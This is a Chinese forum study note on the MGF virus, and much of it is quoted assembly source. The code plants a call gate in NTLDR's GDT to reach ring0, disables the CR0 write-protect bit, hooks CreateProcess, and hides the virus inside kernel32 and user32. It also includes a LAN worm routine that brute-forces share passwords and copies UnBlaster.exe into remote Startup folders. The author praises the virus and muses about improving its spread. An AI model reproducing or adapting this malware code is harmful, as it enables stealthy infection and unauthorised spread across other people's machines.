以前看了莫國防病毒的源代碼。摸到了一個進入RING0的方法。今天又在EST論壇看到了代碼，隨手寫一個筆記吧。其實wowocock已經提及過這個了。我就在簡單的說說，各位就別拍我了。筆記而已。。。主要要說的就是病毒進入RING0的方法，雖然現在說起來MGF病毒進入RING0的方法，已經算老技術了，但是還是有必要了解它。病毒的其他方面也簡單的描述一下，有很多巧妙之處，可以說是個“好”病毒。另外在說一下，我沒有具體的去跟蹤調試這個病毒
先說說進入RING0吧。
現在進入ring0的方法已經又不少了，例如sinister提出的利用驅動程序進入RING0的方法，還有WebCrazy提出的用讀寫物理內存的方法來讀寫GDT所在的物理內存，在GDT上生成自己的調用門來進入ring0，還有EVA提出的方法。還可以參考 http://www.eviloctal.com/forum/read.php?tid=10933&fpage=1 (wowocock寫的總結，包括利用結構化異常處理以及利用中斷門的方法進入RING0)。我所要說的是莫國防病毒所采用的方法，就是在NTLDR中搜尋GDT并找個空閑的地方添加CALLGATE。
上面我門說了，莫國防病毒采用的方法是在NTLDR中搜索GDT域的空閑區，創建調用門。NTLDR就是系統的引導過程中的重要角色,主要任務就是將x86 實模式轉到win2k的保護模式下，還有裝載Ntbootdd.sys文件等工作（WIN2K具體引導過程請參見《Windows2000引導過程》）.而其中也包括了裝載GDT（全局描述符表）（裝載GDT是在由實模式切換到保護模式之前的準備工作中就完成的）。也就是說，如果我們創建一個調用門，那么系統啟動的時候就會將調用門裝載。然后我們就可以利用這個CALLGATE來進入RING0了。
有人問過，用什么來確認NTLDR中包含有這個過程？關于這個問題，可以根據tombkeeper寫的<用Bochs調試NTLDR>，調試NTLDR，來監視NTLDR在切換到保護模式的時候所做的一切。
下面我們來看看MGF病毒修改NTLDR添加CALLGATE的那段代碼：
_dwFlag-----bit 0:0=ntldr, 1=PE;bit 1:0=mem, 1=file;
bit 2:0=auto(ansi/unicode), 1=ansi
……………………
.else;_dwFlag ;如果是NTLDR文件，寫入CALLGATE
lea esi,szGdtData[ebx]
mov edi,@lpFileMap
mov ecx,@dwFileSize
@@:
inc edi
push esi
push edi
push ecx
mov ecx,10h
repz cmpsb
pop ecx
pop edi
pop esi
loopnz @b
|
在NTLDR中以16個字節為單位搜索RING0，CS，DS找到后EDI指向該數據的最后一個字節:說白了就是搜索GDT的特征。
.if ZERO?
xor eax,eax
mov ecx,80h
@@:
sub edi,8
push edi
push ecx
mov ecx,8
repz scasb
pop ecx
pop edi
loopnz @b
|
在向前的80H的范圍內搜索NULL SELECTOR（8個0），其實沒有必要，因為找到的SZGDTDATA前面就是了，所以最后EDI就指向NULL SELECTOR
.if ZERO?
add edi,100h
lea esi,szCallGate[ebx]
mov ecx,10h
rep movsb
|
在偏移100H處寫入CALLGATE和自己的RING0，CS，這里有必要用自己RING0 CS，因為如果用系統的，SELECTOR雖然也可以，但在直接IO的時候有可能會出現0XE的頁故障，也就是說如果加入破壞代碼直接讀寫硬盤扇區，可能會出錯。
mov edx,dwC3Address[ebx]
mov word ptr [edi-16],dx
shr edx,16
mov word ptr [edi-10],dx
|
使調用門指向ret的地址
.endif
.endif
dwC3Address是kernel32.dll中的地址，有人問為什么不用NTDLL.DLL中的呢？
kernel32.dll這個模塊是所有程序默認加載的，而NTDLL.dll則不一樣。dwC3Address是kernel32.dll中的指令ret地址。所以這個方法非常巧妙。
有些人問,為什么不用系統選擇子08h所對應的描述符？
因為如果操作系統檢測到描述符對應的代碼和數據的地址都在0x80000000H以下運行的話，就會被認為是非法進入RING0，然后產生錯誤。所以我們要創建自己的描述符來保證不會出現這樣的錯誤。
在WIN98下進入RING0用和CIH一樣的技術，直接往GDT添加CALLGATE。這里就不說了。另外在2K下在修改NTLDT后需要重起才會生效。
下面來說說MGF病毒的其他部分。
來看看在RING0中，寫KERNEL32和USER32的部分。
;RING0
mov eax,esp
mov esp,[esp+4] ;切換堆棧 switch to ring3 esp
push eax ;save ring0 esp
mov eax,cr0
push eax ;CR0
btr eax,16
mov cr0,eax ;去掉kernel32模塊只讀內存頁的寫保護
mov eax,lpOldPE[ebx]
mov edx,dwOldEntry[ebx]
mov [eax+28h],edx
mov edx,dwOldImage[ebx]
mov [eax+50h],edx ;恢復進程的入口和映像大小，避過某些程序的自我保護
mov edi,hKernel32[ebx]
add edi,[edi+3ch]
mov edi,[edi+54h]
add edi,hKernel32[ebx]
mov lpMemPosition1[ebx],edi
lea esi,VirusStart[ebx]
mov ecx,10h
repz cmpsb ;判斷病毒是否已經在內存
.if !ZERO? ;not in mem
.if dwVersion[ebx] ;不在內存 and win9x
push 0fh
push 0
push -1
push 0
push 0
push 0
push 1
push 1
@@:
int 20h ;vxd->_PageAllocate
dd 00010053h
add esp,8*4
lea edi,@b[ebx]
mov word ptr [edi],20cdh
mov dword ptr [edi+2],00010053h
.else
mov eax,hUser32[ebx]
add eax,[eax+3ch]
mov eax,[eax+54h]
add eax,hUser32[ebx] ;2000/XP/2003---》EAX=user32.dll模塊的空隙
.endif
mov lpMemPosition2[ebx],eax
mov edi,lpMemPosition1[ebx]
add edi,offset _BeforeAPI-offset VirusStart
mov dword ptr [ebx+szNewCommand+1],edi ;
構造跳轉入CreateProcess攔截函數的指令,
把HOOK CREATEPROCESS的指令地址放到第一段代碼的后面
mov esi,dwCreateProcess[ebx]
push esi
lea edi,szOldCommand[ebx]
mov ecx,6
rep movsb ;保存原來CreateProcess函數的前6字節
lea esi,szNewCommand[ebx]
pop edi
mov ecx,6
rep movsb ;把CreateProcess函數的第一條指令改為跳入攔截函數的指令
lea esi,VirusStart[ebx]
mov edi,lpMemPosition1[ebx]
mov ecx,VirusSizeP1
rep movsb ;病毒前3K駐留在kernel32模塊
mov edi,eax
mov ecx,VirusSizeP2
rep movsb ;病毒后2K駐留在user32模塊或vxd _PageAllocate分到的頁中
.endif
pop eax
mov cr0,eax ;恢復CR0
pop esp
lea eax,Ring3_1[ebx]
push eax
retf ;返回RING3
Ring3_1:
.endif
|
病毒在kernel32.dll和user32.dll中找空隙并駐留其中。這樣的話，任務管理器中就看不到病毒，更無法終止感染文件。
病毒還去除了kernel32的保護屬性。這個方法當然很好。不過在退出的時候沒有恢復，這樣就會出問題的。在NT/2k/xp系統中，DLL所在頁面被映射到進程的私有空間（如 Kernel32.dll 映射至77ED0000）中，并具有寫時拷貝屬性(cow)，也就是說沒有進程試圖寫入該頁面時，所有進程共享這個頁面；而當一個進程試圖寫入該頁面時，系統的頁面錯誤處理代碼將收到處理器的異常，并檢查到該異常并非訪問違例，同時分配給引發異常的進程一個新頁面，并拷貝原頁面內容于其上且更新進程的頁表以指向新分配的頁。這種共享內存的優化給病毒來了一定的麻煩，病毒不能象在WIN9X下那樣僅修改Kernel32.dll一處代碼便可一勞永逸。所以說如果在9X下，這樣做沒有問題。而在2K和XP下是不行的。這就是2K/XP的COW機制。當然還有一種方法可以對付它，就是修改CR0的WP位，不過別忘了恢復 ：）。
因為病毒要定位LoadLibraryA和GetProcAddress函數的地址。在這里病毒采用了攔截CreateProcess函數感染PE文件，也就很正常了。不過這樣的感染方法還是很罕見的,與一般的病毒有所不同。可以說是MGF首創，如果以前有，就當我孤陋寡聞，盡情的拍死我吧。
下面是病毒創建的的局域網的線程
_GoLAN proc lParam
local @hEnum
local @dwcCount
local @szResourceName[32]:byte
local @szBuffer[0c00h]:byte
ret
pushad
db 0e8h,0,0,0,0
pop ebx
sub ebx,$-1
lea eax,@hEnum
push eax
push 0
push 13h
push 0
push 5
call dwWNetOpenEnum[ebx]
.if !eax
.repeat
mov @dwcCount,-1
lea eax,dwBufferSize[ebx]
push eax
lea eax,@szBuffer
push eax
lea eax,@dwcCount
push eax
push @hEnum
call dwWNetEnumResource[ebx]
cmp dword ptr [@szBuffer+14h],0
jnz @f
.until eax
push @hEnum
call dwWNetCloseEnum[ebx]
.endif
jmp _GoLANexit
@@:
push @hEnum
call dwWNetCloseEnum[ebx]
lea edi,@szBuffer
_NextPC:
push edi
mov esi,[edi+14h]
lea edi,@szResourceName
@@:
lodsb
stosb
or al,al
jnz @b
mov dword ptr [edi-1],\'C\\\'
pop edi
xor eax,eax
mov dwPassword[ebx],eax
@@:
lea edx,szLocalDrive[ebx]
push edx
push eax
lea edx,@szResourceName
push edx
call dwWNetAddConnection[ebx]
.if eax==56h
call _GenPassWord
cmp dwPassword[ebx],0
jnz @b
.elseif !eax
push 0
lea eax,szDFile[ebx]
push eax
lea eax,szSFile[ebx]
push eax
call dwCopyFile[ebx] ;如果找到可寫共享，感染
mov esi,eax
push 1
lea eax,szLocalDrive[ebx]
push eax
call dwWNetCancelConnection[ebx]
call _GenPassWord
or esi,esi
jz @b
.endif
add edi,20h
dec @dwcCount
jnz _NextPC
_GoLANexit:
popad
ret
_GoLAN endp
szMemToFileName db \'UnBlaster.exe\',0
szSFile db \'c:\\windows\\system\\UnBlaster.exe\',0
szDFile db \'X:\\WINDOWS\\All Users\\Start Menu\\Programs\\
啟動\\UnBlaster.exe\',0 ;
從這里可以看出，把病毒復制到遠程主機的啟動文件中。
dwPassword dd 0
dd 0,0
szPassword db 0
szLocalDrive db \'x:\',0
dwBufferSize dd 0c00h
_GenPassWord:;生成密碼的子程序，密碼包括1234567890!@#$%^字符
std
pushad
lea edi,[ebx+szPassword-1]
xor edx,edx
mov eax,dwPassword[ebx]
mov ecx,16
@@:
div ecx
xchg eax,edx
.if al<=5
add al,21h
.else ;if al>=6 && al<=15
add al,2ah
.endif
stosb
xor eax,eax
xchg eax,edx
or eax,eax
jnz @b
inc edi
inc dwPassword[ebx]
mov [esp+20h-4],edi
popad
cld
ret
|
病毒在局域網傳播方面就是靠破解遠程主機共享密碼（密碼由病毒生成），把病毒復制到目標機器的啟動文件夾中。當目標重起后病毒開始感染。我想如果在優化一下傳播方式的話……
